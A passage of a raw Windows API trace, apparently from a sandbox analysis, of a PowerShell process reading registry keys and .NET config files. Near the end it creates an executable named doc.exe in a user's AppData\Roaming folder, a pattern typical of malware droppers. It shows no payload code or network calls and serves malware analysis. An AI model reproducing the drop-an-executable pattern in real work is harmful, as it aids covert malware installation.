pguid=0x599d260*(Data1=0x1b956c3e, Data2=0x53a0, Data3=0x4c2f, Data4=([0]=0xb4, [1]=0x82, [2]=0x75, [3]=0x12, [4]=0xd3, [5]=0x57, [6]=0x7c, [7]=0x26))) returned 0x0 [0187.734] CoCreateGuid (in: pguid=0x599d260 | out: pguid=0x599d260*(Data1=0xedb608d, Data2=0x5f90, Data3=0x42cf, Data4=([0]=0x82, [1]=0xc3, [2]=0xd3, [3]=0xb5, [4]=0xb2, [5]=0x6c, [6]=0x97, [7]=0x1c))) returned 0x0 [0187.734] CoCreateGuid (in: pguid=0x599d260 | out: pguid=0x599d260*(Data1=0xcd334c84, Data2=0x2e8e, Data3=0x4770, Data4=([0]=0x94, [1]=0x88, [2]=0x19, [3]=0x60, [4]=0x89, [5]=0xd4, [6]=0xfc, [7]=0x89))) returned 0x0 [0187.739] CoCreateGuid (in: pguid=0x599d260 | out: pguid=0x599d260*(Data1=0xd0d0e074, Data2=0xd465, Data3=0x4bbe, Data4=([0]=0x99, [1]=0x61, [2]=0xee, [3]=0x58, [4]=0xda, [5]=0x83, [6]=0x55, [7]=0x3b))) returned 0x0 [0187.739] CoCreateGuid (in: pguid=0x599d260 | out: pguid=0x599d260*(Data1=0x6d117b12, Data2=0xbf2b, Data3=0x4cfd, Data4=([0]=0xa8, [1]=0x82, [2]=0x6d, [3]=0x9d, [4]=0x5a, [5]=0xe6, [6]=0xb7, [7]=0x43))) returned 0x0 [0188.111] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.111] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.112] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266ded0, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.112] RegCloseKey (hKey=0x254) returned 0x0 [0188.112] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.112] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.113] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266e1e4, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.113] RegCloseKey (hKey=0x254) returned 0x0 [0188.113] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.114] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.114] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266e4ec, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.114] RegCloseKey (hKey=0x254) returned 0x0 [0188.114] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.114] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.114] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266e7f4, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.115] RegCloseKey (hKey=0x254) returned 0x0 [0188.115] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.115] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.115] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266eb08, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.115] RegCloseKey (hKey=0x254) returned 0x0 [0188.116] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.116] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.116] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266ee1c, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.116] RegCloseKey (hKey=0x254) returned 0x0 [0188.116] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e5b8 | out: phkResult=0x599e5b8*=0x254) returned 0x0 [0188.116] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x0, lpcbData=0x599e5d4*=0x0 | out: lpType=0x599e5d8*=0x1, lpData=0x0, lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.117] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e5d8, lpData=0x266f118, lpcbData=0x599e5d4*=0x56 | out: lpType=0x599e5d8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e5d4*=0x56) returned 0x0 [0188.117] RegCloseKey (hKey=0x254) returned 0x0 [0188.118] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e604 | out: phkResult=0x599e604*=0x254) returned 0x0 [0188.118] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e624, lpData=0x0, lpcbData=0x599e620*=0x0 | out: lpType=0x599e624*=0x1, lpData=0x0, lpcbData=0x599e620*=0x56) returned 0x0 [0188.118] RegQueryValueExW (in: hKey=0x254, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x599e624, lpData=0x266f460, lpcbData=0x599e620*=0x56 | out: lpType=0x599e624*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x599e620*=0x56) returned 0x0 [0188.118] RegCloseKey (hKey=0x254) returned 0x0 [0188.119] CoTaskMemAlloc (cb=0x20c) returned 0x377d08 [0188.119] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x377d08 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0188.119] CoTaskMemFree (pv=0x377d08) [0188.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0188.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0188.631] EtwEventActivityIdControl () returned 0x0 [0188.632] SetEvent (hEvent=0x29c) returned 1 [0188.632] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x599e960*=0x29c, lpdwindex=0x599e784 | out: lpdwindex=0x599e784) returned 0x0 [0188.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599e89c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0188.643] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0188.643] GetFileType (hFile=0xb) returned 0x2 [0188.644] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x599ea98 | out: lpMode=0x599ea98) returned 1 [0188.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x599ea58 | out: lpConsoleScreenBufferInfo=0x599ea58) returned 1 [0188.646] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x599ea58 | out: lpConsoleScreenBufferInfo=0x599ea58) returned 1 [0188.785] EtwEventActivityIdControl () returned 0x0 [0188.785] EtwEventActivityIdControl () returned 0x0 [0188.785] EtwEventActivityIdControl () returned 0x0 [0189.015] EtwEventActivityIdControl () returned 0x0 [0189.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x599e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0189.786] CoTaskMemAlloc (cb=0x20c) returned 0x377d08 [0189.786] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x377d08, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0189.786] CoTaskMemFree (pv=0x377d08) [0189.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0189.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0189.797] GetCurrentProcess () returned 0xffffffff [0189.798] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e9dc | out: TokenHandle=0x599e9dc*=0x25c) returned 1 [0189.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0189.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0189.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x599e9d4 | out: lpFileInformation=0x599e9d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.804] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x599e9dc | out: lpFileInformation=0x599e9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.805] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.805] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e914) returned 1 [0189.805] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0189.805] GetFileType (hFile=0x258) returned 0x1 [0189.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e910) returned 1 [0189.805] GetFileType (hFile=0x258) returned 0x1 [0189.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599def4) returned 1 [0189.911] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x599e1b8 | out: lpFileInformation=0x599e1b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599def0) returned 1 [0190.507] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x599e084 | out: pfEnabled=0x599e084) returned 0x0 [0190.674] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x599e9d0 | out: lpFileSizeHigh=0x599e9d0*=0x0) returned 0x8c8e [0190.674] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e98c, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e98c*=0x1000, lpOverlapped=0x0) returned 1 [0190.823] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e83c, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e83c*=0x1000, lpOverlapped=0x0) returned 1 [0190.829] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e6f0, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e6f0*=0x1000, lpOverlapped=0x0) returned 1 [0190.832] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e6f0, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e6f0*=0x1000, lpOverlapped=0x0) returned 1 [0190.832] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e6f0, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e6f0*=0x1000, lpOverlapped=0x0) returned 1 [0190.833] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e628, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e628*=0x1000, lpOverlapped=0x0) returned 1 [0190.853] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e794, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e794*=0x1000, lpOverlapped=0x0) returned 1 [0190.857] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e688, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e688*=0x1000, lpOverlapped=0x0) returned 1 [0190.857] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e688, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e688*=0xc8e, lpOverlapped=0x0) returned 1 [0190.858] ReadFile (in: hFile=0x258, lpBuffer=0x2500bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e74c, lpOverlapped=0x0 | out: lpBuffer=0x2500bb8*, lpNumberOfBytesRead=0x599e74c*=0x0, lpOverlapped=0x0) returned 1 [0190.858] CloseHandle (hObject=0x258) returned 1 [0190.859] CloseHandle (hObject=0x25c) returned 1 [0190.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x599e6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.861] CoTaskMemAlloc (cb=0x20c) returned 0x377d08 [0190.861] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x377d08, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0190.861] CoTaskMemFree (pv=0x377d08) [0190.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0190.862] GetCurrentProcess () returned 0xffffffff [0190.863] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599eb28 | out: TokenHandle=0x599eb28*=0x25c) returned 1 [0190.864] CloseHandle (hObject=0x25c) returned 1 [0190.865] GetCurrentProcess () returned 0xffffffff [0190.865] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599eb28 | out: TokenHandle=0x599eb28*=0x25c) returned 1 [0190.953] CloseHandle (hObject=0x25c) returned 1 [0190.954] GetCurrentProcess () returned 0xffffffff [0190.954] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e9dc | out: TokenHandle=0x599e9dc*=0x25c) returned 1 [0190.955] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x599e9d4 | out: lpFileInformation=0x599e9d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.955] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0190.955] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.955] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x599e9dc | out: lpFileInformation=0x599e9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.956] CloseHandle (hObject=0x25c) returned 1 [0190.956] GetCurrentProcess () returned 0xffffffff [0190.956] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599eb28 | out: TokenHandle=0x599eb28*=0x25c) returned 1 [0190.957] CloseHandle (hObject=0x25c) returned 1 [0190.958] GetCurrentProcess () returned 0xffffffff [0190.958] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599eb28 | out: TokenHandle=0x599eb28*=0x25c) returned 1 [0190.959] CloseHandle (hObject=0x25c) returned 1 [0190.980] GetCurrentProcess () returned 0xffffffff [0190.980] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e940 | out: TokenHandle=0x599e940*=0x25c) returned 1 [0191.085] CloseHandle (hObject=0x25c) returned 1 [0191.086] GetCurrentProcess () returned 0xffffffff [0191.086] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e958 | out: TokenHandle=0x599e958*=0x25c) returned 1 [0191.088] CloseHandle (hObject=0x25c) returned 1 [0191.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0191.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0191.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eca8) returned 1 [0191.101] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0191.104] GetFileType (hFile=0x25c) returned 0x1 [0191.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eca4) returned 1 [0191.104] GetFileType (hFile=0x25c) returned 0x1 [0191.383] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x258 [0191.383] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x204 [0191.390] GetCurrentProcess () returned 0xffffffff [0191.390] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e960 | out: TokenHandle=0x599e960*=0x208) returned 1 [0191.398] CloseHandle (hObject=0x208) returned 1 [0191.399] GetCurrentProcess () returned 0xffffffff [0191.399] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e978 | out: TokenHandle=0x599e978*=0x208) returned 1 [0191.400] CloseHandle (hObject=0x208) returned 1 [0191.435] GetCurrentProcess () returned 0xffffffff [0191.436] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e968 | out: TokenHandle=0x599e968*=0x208) returned 1 [0191.462] CloseHandle (hObject=0x208) returned 1 [0191.462] GetCurrentProcess () returned 0xffffffff [0191.463] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e980 | out: TokenHandle=0x599e980*=0x208) returned 1 [0191.463] CloseHandle (hObject=0x208) returned 1 [0191.529] RegOpenKeyExW (in: hKey=0x80000002, 